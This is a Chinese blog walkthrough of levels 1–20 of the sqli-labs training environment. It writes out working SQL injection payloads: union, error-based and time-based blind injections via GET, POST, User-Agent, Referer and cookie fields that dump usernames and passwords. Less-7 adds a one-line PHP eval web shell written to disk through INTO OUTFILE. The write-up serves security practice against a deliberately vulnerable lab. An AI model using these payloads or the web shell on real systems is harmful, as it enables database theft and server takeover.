sqli-labs通关之路-上
Page1
less-1基于错误的GET单引号字符型注入
首先在末尾添加单引号
?id=1'
报错
然后猜解列数
?id=1 order by 1 --+
正常
?id=1 order by 4 --+
报错
说明列数为3
联合查询
?id=-1'union select 1,2,3--+
回显结果为2和3
查看后端源码得查询语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
则我们构造的出查询语句为
SELECT * FROM users WHERE id='-1'union select 1,2,3--+ LIMIT 0,1
因为报错以及--+注释导致真正执行的查询语句为
select 1,2,3
之后根据显示在页面上的数字就可以知道相对应的“通道”,只需要把这个数字改成我们想查询的内容(如id,password),当数据爆破成功后,就会在页面显示我们想要的结果。
信息收集
用户名:root@localhost
?id=-1'union select 1,user(),3--+
数据库名:security
?id=-1'union select 1,database(),3--+
数据库版本:5.5.44-0ubuntu0.14.04.1
?id=-1'union select 1,version(),3--+
操作系统:debian-linux-gnu
?id=-1'union select 1,@@version_complie_os,3--+
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
查表名:Password:emails,referers,uagents,users
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查字段名:id,username,password
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查数据:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
?id=-1' union select 1,2,group_concat(username)from security.users--+
查密码:
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
?id=-1' union select 1,2,group_concat(password)from security.users--+
Less-2 基于错误的GET整型注入
对比源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
与Less-1相比缺少了单引号,因此将Less-1中Payload去掉闭合所用的单引号即可
实际注入中需注意让联合查询中前面的语句报错,导致返回后面的查询结果
?id=1 and 1=2 union select 1,2,3--
Less-3 基于错误的GET单引号变形字符型注入
查看源码
$sql="SELECT * FROM users WHERE id=($'id') LIMIT 0,1";
正常注入发现括号不能被合并,所以需要手动合并括号以确保sql语句的正常执行
Payload:?id=-1') union select 1,user(),version()--+
Less-4 基于错误的GET双引号字符型注入
查看源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
可以看出后端对id进行了预处理,增加了双引号
所以我们要对后端的双引号进行闭合处理
$sql="SELECT * FROM users WHERE id=("-1") union select 1,2,3--+") LIMIT 0,1";
Payload:?id=-1") union select 1,2,3--+
Less-5 双注入GET单引号字符型注入
查看源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
print_r(mysql_error());
}
可知为单引号字符型注入,由于没有数据回显,所以采用盲注,结合sqlmap等注入工具进行数据获取
Payload:?id=1' and sleep(5)--+
可以发现如果sql执行报错会回显错误,所以也可能存在显错注入
尝试报错注入:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
回显结果正确 存在报错注入
Less-6 双注入GET双引号字符型注入
查看源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
发现与前一关类似只不过换成了双引号,将前一关中Payload换成双引号即可
Less-7 导出文件GET字符型注入
手工测试发现?id=1'))
可以进行闭合
?id=1')) order by 4--+
时报错 推测有三列
闭合之后发现into_outfile关键字 猜测使用文件导出功能
可以使用此方法getshell:
?id=1')) union select 1,'<?php @eval($_POST['pass']);?>',3 into outfile 'www\html\test.php' --+
Less-8 布尔型单引号GET盲注
测试发现单引号可以闭合,无回显,尝试盲注:?id=1' and sleep(5)--+
测试库名:
长度:?id=1' and if(length(database())=8,sleep(5),sleep(9))--+
字符:?id=1' and if(substr(database(),1,1)='s',sleep(5),sleep(9))--+
ascii:?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(9))--+
Less-9 基于时间的GET单引号盲注
明显的时间盲注:?id=1' and sleep(5)--+
Less-10 基于时间的双引号盲注
双引号闭合的盲注:?id=1" and sleep(5)--+
Less-11 基于错误的POST型单引号字符型注入
万能密码尝试后登录成功 回显用户名密码 猜测为单引号闭合
之后order猜列数,union select确定回显通道
Payload:uname=admin&passwd=1' union select user(),database()#&submit=Submit
Less-12 基于错误的双引号POST型字符型变形的注入
使用") or 1 #
双引号闭合万能密码登入 猜测双引号闭合
Payload:uname=admin&passwd=1") union select user(),database()#&submit=Submit
Less-13 POST单引号变形双注入
使用uname=admin') or 1 #&passwd=11&submit=Submit
成功登入 发现无回显 尝试盲注
尝试'uname=admin') and sleep(5) #&passwd=11&submit=Submit
确认存在盲注
尝试报错注入:1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
回显正确 存在报错注入
Less-14 POST双引号变形双注入
测试发现uname=admin" or 1 #&passwd=11&submit=Submit
成功登入 无回显 尝试盲注
测试uname=admin" and sleep(3) #&passwd=11&submit=Submit
存在盲注
报错注入:uname=admin" and extractvalue(1,concat(0x7e,(select database()))) #&passwd=11&submit=Submit
Less-15 基于bool型/时间延迟单引号POST型盲注
使用admin' or 1#
成功登入 说明为单引号闭合 无回显 尝试盲注
测试admin' and sleep(3)#
成功 存在盲注
Less-16 基于bool型/时间延迟的双引号POST型盲注
使用admin") or 1#
成功登入 说明为双引号闭合 无回显 尝试盲注
测试admin“) and sleep(3)#
成功 存在盲注
Less-17 基于错误的更新查询POST注入
查看源码
接受传参 其中$uname
参数会被检查 因此我们在密码处尝试注入
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
更新语句为单引号字符型 且存在报错语句 尝试进行报错注入
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
print_r(mysql_error());
使用1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
回显正确 存在报错注入
爆表名:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
爆列名:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
爆数据:1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) #
失败
尝试1' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #
获得用户名
接着1' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin' limit 0,1)test),0x7e),1) #
拿到密码
Less-18 基于错误的用户代理,头部POST注入
查看源码
发现对用户名和密码的输入均进行了检查
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
但对uagent进行了插入操作 可能存在注入
$insert="INSERT INTO security.uagents (uagent, ip_address, username`) VALUES ('$uagent','$IP', $uname)";
mysql_query($insert);
使用admin admin登录成功后 发现UserAgert存在回显 尝试注入
报错注入:1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
回显正确 存在报错注入
最终执行语句为:
INSERT INTO security.uagents (uagent, ip_address, username`) VALUES ('1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))
Less-19 基于头部的Referer POST报错注入
与上一关类似 在Referer
处增加单引号报错 可能为单引号闭合 尝试报错注入
Payload复用:1' ,1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
回显正确 存在报错注入
Less-20 基于错误的cookie头部POST注入
首先在cookie
后添加单引号 发现报错 判断其为单引号闭合
使用order by
查询 判断有三列
再用admin' and 1=2 union select 1,2,3#
查询获得回显通道 存在union
注入
本文来自博客园,作者:Haibara-Z3r0,转载请注明原文链接:https://www.cnblogs.com/Yu-0/p/16585876.html